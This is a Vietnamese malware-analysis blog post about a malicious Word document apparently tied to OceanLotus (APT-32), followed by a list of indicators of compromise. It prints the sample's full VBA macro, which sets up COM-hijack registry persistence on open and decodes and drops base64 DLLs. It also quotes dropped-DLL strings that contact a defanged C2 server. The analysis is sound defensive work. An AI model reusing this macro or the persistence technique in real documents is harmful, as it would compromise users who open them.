1/9 m4n0w4r June 2, 2019 Thưởng tết…. tradahacking.vn/thưởng-tết-fbcbbed49da7 m4n0w4r Follow May 31, 2019 · 5 min read Vô tình nhặt được cái sample: https://www.virustotal.com/gui/file/9f59c397d1346f2707fc7b54fe6cb4622770accf94eb439451 4d2bf167d65007/detection https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7 https://kienbigmummy.medium.com/?source=post_page-----fbcbbed49da7-------------------------------- https://kienbigmummy.medium.com/?source=post_page-----fbcbbed49da7-------------------------------- https://medium.com/m/signin?actionUrl=https%3A%2F%2Fmedium.com%2F_%2Fsubscribe%2Fuser%2F3d670b41fa5f&operation=register&redirect=https%3A%2F%2Ftradahacking.vn%2Fth%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7&user=m4n0w4r&userId=3d670b41fa5f&source=post_page-3d670b41fa5f----fbcbbed49da7---------------------follow_byline----------- https://www.virustotal.com/gui/file/9f59c397d1346f2707fc7b54fe6cb4622770accf94eb4394514d2bf167d65007/detection 2/9 Kĩ thuật sử dụng trong tài liệu này có vẻ liên quan đến OceanLotus (aka APT-32): https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/ Thông tin metadata của sample: Dạo vòng vòng trong sample để thu thập thêm thông tin: 😉 https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/ 3/9 Toàn bộ VBA code của sample: 4/9 ' module: ThisDocument Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() On Error Resume Next Dim sAppData As String sAppData = Environ("APPDATA") sAppData = sAppData & "\main_background.png" Dim sAppDataNew As String sAppDataNew = Chr(34) & sAppData & Chr(34) Dim myWS As Object, strPath Set myWS = CreateObject("WScript.Shell") Set fsoCheck = VBA.CreateObject("Scripting.FileSystemObject") Dim iCheck As Boolean iCheck = False #If Win64 Then #Else If (fsoCheck.FileExists("C:\Windows\SysWOW64\cmd.exe") = True) Then iCheck = True Else iCheck = False End If #End If If iCheck = True Then Dim wsh As Object Set wsh = VBA.CreateObject("WScript.Shell") Dim waitOnReturn As Boolean: waitOnReturn = True Dim windowStyle As Integer: windowStyle = 0 Else If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\") = False Then myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\", "", "REG_SZ" Else End If If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F- 54C1-4227-AF9B-260AB5FC3543}\InprocServer32\") = False Then If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B- 260AB5FC3543}\") = False Then myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\", "", "REG_SZ" Else End If Else End If End If Dim b As String Dim a As String Dim tableNew As Table Set tableNew = ActiveDocument.Tables(1)End Sub Function RegKeyExists(i_RegKey As String) As Boolean Dim myWS As Object On Error GoTo ErrorHandler Set myWS = CreateObject("WScript.Shell") myWS.RegRead i_RegKey RegKeyExists = True Exit Function ErrorHandler: 'key was not found RegKeyExists = FalseEnd Function 5/9 Function Base64Decode(ByVal vCode, ByVal sPath) Dim oXML, oNode Set oXML = CreateObject("Msxml2.DOMDocument.3.0") Set oNode = oXML.CreateElement("base64") oNode.dataType = "bin.base64" oNode.Text = vCode Set objStream = CreateObject("ADODB.Stream") objStream.Type = 1 objStream.Open objStream.Write oNode.nodeTypedValue objStream.SaveToFile sPath, 2 Set objStream = Nothing Set oNode = Nothing Set oXML = NothingEnd Function Cơ bản VBA code này làm nhiệm vụ: Cấu thành đường dẫn cho tập tin Kiểm tra môi trường hiện hành là hay. Nếu là 64-bit thì sẽ thực thi lệnh: wsh.Run "cmd.exe /S /C reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F- 54C1-4227-AF9B-260AB5FC3543}\InprocServer32 /ve /t REG_SZ /d " & sAppDataNew & " /f /reg:64", windowStyle, waitOnReturn ngược lại, thực thi lần lượt: myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B- 260AB5FC3543}\", "", "REG_SZ"và myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B- 260AB5FC3543}\InprocServer32\", sAppDataNew, "REG_SZ" Dựa vào từ khóa InprocServer32, ta có thể biết được file %APPDATA%\main_background.png sẽ là một tập tin dll Sau khi thiết lập thành công Registry, tiến hành decode base64data và ghi ra file Dựa vào biến để drop ra dll x64 hay dll x32: Set tableNew = ActiveDocument.Tables(1) If (iCheck = True) Then a = tableNew.Cell(1, 1).Range.Text //lấy base64data tại hàng 1 cột 1 (32bit-dll) a = Left(a, Len(a) - 2) b = Base64Decode(a, sAppData) Else a = tableNew.Cell(1, 2).Range.Text //lấy base64data tại hàng 1 cột 2 (64-bit dll) a = Left(a, Len(a) - 2) b = Base64Decode(a, sAppData) End If 6/9 Căn cứ vào thông tin có được tiến hành decode để lấy các binary. Có thể debug hoặc là dùng Cyberchef: 32-bit dll: 64-bit dll: 7/9 Tôi thấy attacker có vẻ hơi nhầm trong quá trình decode và ghi ra file. Nếu là OS 64-bit thì lại drop ra 32-bit dll. Còn ngược lại, với OS 32-bit lại drop ra 64-bit dll 😕 Kiểm tra sơ bộ các dll Với 32-bit dll: 000000011530 000010013730 0 XA:\Code\Macro_NB2\Request\PostData32.exe -u hxxps://syn[.]servebbs[.]com/id32[.]png -t 300000 Với 64-bit dll: 8/9 000000014243 0000000141D0 0 YA:\Code\Macro_NB2\Request\PostData64.exe -u hxxps://syn[.]servebbs[.]com/id64.png -t 300000 Thử load file về nhưng C2 đã dẹo: IOCs: Doc sample: 9f59c397d1346f2707fc7b54fe6cb4622770accf94eb4394514d2bf167d65007 Dropped file (based on architecture): 32-bit dll: ee1e3956df9f69ae3c87a53075881f65 64-bit dll: c74a24dea88999797aaceeecd63efaff Some C2: hxxps://word[.]webhop[.]info ( 109[.]248[.]149[.]96) hxxps://syn[.]servebbs[.]com ( 194[.]9[.]177[.]13) 9/9 End. End. 9/9